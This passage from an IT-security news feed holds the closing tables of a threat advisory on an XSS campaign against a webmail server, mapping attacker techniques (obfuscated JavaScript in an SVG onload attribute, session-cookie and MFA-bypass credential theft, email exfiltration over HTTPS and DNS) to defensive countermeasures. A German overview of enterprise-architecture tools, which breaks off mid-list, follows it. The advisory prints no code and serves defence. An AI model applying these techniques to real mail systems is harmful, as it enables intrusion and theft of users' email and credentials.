<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload was contained in an “onload” attribute within an SVG image included in the malicious email. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Use Alternate Authentication Material: Web Session Cookie </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank"><u>T1550.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 16: Credential Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Adversary-in-the-Middle </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank"><u>T1557</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 17: Collection </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Data Staged: Remote Data Staging </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank"><u>T1074.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank"><u>T1114</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group has emphasized collection of emails. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Email Collection: Remote Email Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank"><u>T1114.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Automated Collection </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1119/" target="_blank"><u>T1119</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Upon execution, the JavaScript payload automatically collects all relevant information in stages. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Browser Session Hijacking </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank"><u>T1185</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Archive Collected Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank"><u>T1560</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Emails are exfiltrated with GZIP compression. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 18: Discovery </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Discovery </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank"><u>T1087</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stolen Global Access Lists provide the group with new users to target. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 19: Exfiltration </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/" target="_blank"><u>T1048</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Victim information was exfiltrated over both HTTPS and DNS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank"><u>T1048.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank"><u>T1048.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h2><strong>Appendix B: MITRE D3FEND countermeasures </strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table20"><strong>Table 20</strong></a> for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. <a class="ck-anchor"></a></p>
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<div class="TableContainer Ltr SCXW46665017 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 20: MITRE D3FEND Countermeasures </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Countermeasure Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p class="text-align-center"><strong>Description</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Application Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank"><u>D3-AH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should immediately prioritize patching <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank"><u>CVE-2025-66376</u></a>.  </li>
<li>Organizations should promptly apply software updates to all email systems. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Isolate </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank"><u>d3f:Isolate</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations that cannot feasibly patch should use alternative mail clients. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Credential Hardening </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank"><u>D3-CH</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Network Traffic Community Deviation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[18 Enterprise-Architecture-Tools]]></title>
<description><![CDATA[Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. 
					Foto: I Believe I Can Fly – shutterstock.com




Enterprise Architecture (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftszie...]]></description>
<link>https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/</guid>
<pubDate>Sat, 25 Jul 2026 18:59:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="extendedBlock-wrapper block-coreImage"><figure class="wp-block-image size-large"><img loading="lazy" alt="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " title="Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. " src="https://images.computerwoche.de/bdb/3284195/840x473.jpg" width="840" height="473"><figcaption class="wp-element-caption"><p class="foundryImageCaption">Diese Enterprise Architecture Tools unterstützen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens. </p></figcaption></figure><p class="imageCredit">
					Foto: I Believe I Can Fly – shutterstock.com</p></div>




<p class="wp-block-paragraph"><a href="https://www.computerwoche.de/article/2789207/eam-gibt-orientierung-in-der-digitalen-transformation.html" title="Enterprise Architecture" target="_blank">Enterprise Architecture</a> (EA) Tools unterstützen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die Geschäftsziele optimal zu unterstützen. Sie sorgen ebenfalls dafür, dass Unternehmen ihre Roadmaps für die <a href="https://www.computerwoche.de/article/2794425/wie-digitale-transformation-richtig-geht.html" title="digitale Transformation" target="_blank">digitale Transformation</a> geordnet vorantreiben können. EA Tools bieten dafür unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die Geschäfts- und IT-Prozesse gezielt verbessern.</p>



<p class="wp-block-paragraph">Um die beste Lösung für Ihr Unternehmen zu finden, sollten Sie zuerst prüfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lässt. Anschließend gilt es abzuwägen, ob die Informationen, Diagramme und Tabellen, die die Software zur Verfügung stellt, für das Unternehmen auch einen echten Nutzwert haben.</p>



<h2 class="wp-block-heading">Empfehlenswerte Enterprise-Architecture-Tools</h2>



<p class="wp-block-paragraph">Nachfolgend finden Sie einen Überblick über die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstützen eine Vielzahl von Enterprise Architecture Frameworks.</p>



<p class="wp-block-paragraph"><strong><a href="https://www.ardoq.com/" title="Ardoq" target="_blank" rel="noopener">Ardoq</a></strong></p>



<p class="wp-block-paragraph">Nachdem zuerst über einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lässt sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.</p>



<p class="wp-block-paragraph">Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann später von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstützen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lässt sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>“Architektonischen Stress” bei Lastspitzen simulieren, falls größere Veränderungen bevorstehen;</p></li>



<li><p>Verstehen, wie verändertes Nutzerverhalten neue Anforderungen generiert;</p></li>



<li><p>Application Portfolio Management, um besser strategisch zu planen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://atollgroup.eu/samu-enterprise-architecture-tool/" title="Atoll Group SAMU" target="_blank" rel="noopener">Atoll Group SAMU</a></strong></p>



<p class="wp-block-paragraph">Das EA-Tool SAMU macht die Enterprise Architecture sichtbar, indem es tiefe Verknüpfungen zwischen On-Premises-Systemen, dem Cloud-Layer und Tools für das Business Process Management aufzeigt. Das Tool der Atoll Group bietet vielfältige Integrationsmöglichkeiten, zum Beispiel mit Monitoring-Tools (etwa Tivoli, ServiceNow), Configuration-Management-Datenbanken (zum Beispiel CA, BMC) oder Service-Organisations-Tools (BMC, HPE). Alle Informationen fließen in ein zentrales Datenmodell ein, das um den zusätzlichen Input der Stakeholder weiter angereichert wird.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>Enterprise-Architektur visualisieren;</p></li>



<li><p>strategische Planungsprozesse und Architektur-Reviews mit Informationen unterfüttern;</p></li>



<li><p>mithilfe einer visuellen Verständnisgrundlage die Kommunikation verbessern.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.avolutionsoftware.com/enterprise-architecture/" title="Avolution Abacus" target="_blank" rel="noopener">Avolution Abacus</a></strong></p>



<p class="wp-block-paragraph">Dieses Tool erfasst die Breite und den Umfang der Unternehmensarchitektur mit Hilfe eines auf Diagrammen basierenden Dashboards. Die Integration mit gängigen Tools wie SharePoint, <a href="https://www.computerwoche.de/k/excel,3461" target="_blank" class="idgGlossaryLink">Excel</a>, Visio, Google Sheets, Technopedia oder ServiceNow vereinfacht die Nutzung. Abacus wurde inzwischen auch um einen Machine-Learning-Layer ergänzt, der es Anwendern ermöglicht, ein Modell zu trainieren, das ihnen beispielsweise hilft zu erkennen, wer im Unternehmen für welches System verantwortlich ist.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>die IT für das gesamte Unternehmen “öffnen”, um ein allgemeines Verständnis der Datenflüsse zu erzeugen;</p></li>



<li><p>umfassendes Enterprise Modeling, um eine Roadmap für künftige Entwicklungen zu erstellen;</p></li>



<li><p>Business-Metriken tracken, die mit der Unternehmens-Performance zusammenhängen.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a href="https://www.boc-group.com/de/adoit/" title="BOC Group ADOIT" target="_blank" rel="noopener">BOC Group ADOIT</a></strong></p>



<p class="wp-block-paragraph">ADOIT soll Teams dabei unterstützen, Ressourcen zu verwalten, Bedarfe vorherzusagen und Assets zu tracken. Dazu mappt das Tool jedes System oder Softwarepaket mit einem Objekt. Die Datenflüsse zwischen den Systemen werden in Beziehungen umgewandelt, die von diesen Objekten mithilfe eines anpassbaren Metamodells erfasst werden. Geschäftsprozesse können auf ähnliche Weise über ein gut integriertes Begleitprodukt namens ADONIS modelliert werden. ADOIT ist Web-basiert und lässt sich auch mit Tools wie Atlassian Confluence integrieren, um die Datenerfassung und -entwicklung zu beschleunigen.</p>



<p class="wp-block-paragraph"><em>Wichtigste Use Cases:</em></p>



<ul class="wp-block-list">
<li><p>ein unternehmensweites Modell erstellen, das bei sämtlichen Teammitgliedern ein Verständnis über den Stack schafft – und wie man diesen verbessern kann;</p></li>



<li><p>vollständiger Zugriff auf EA-Daten über eine Mobile-Anwendung;</p></li>



<li><p>bei Fusionen und Übernahmen den Tech-Bereich durch genaues Asset-Mapping orchestrieren.</p></li>
</ul>



<p class="wp-block-paragraph"><strong><a title="Mega Hopex" href="https://www.mega.com/hopex-platform" target="_blank" rel="noopener">Bizzdesign Hopex</a></strong></p>



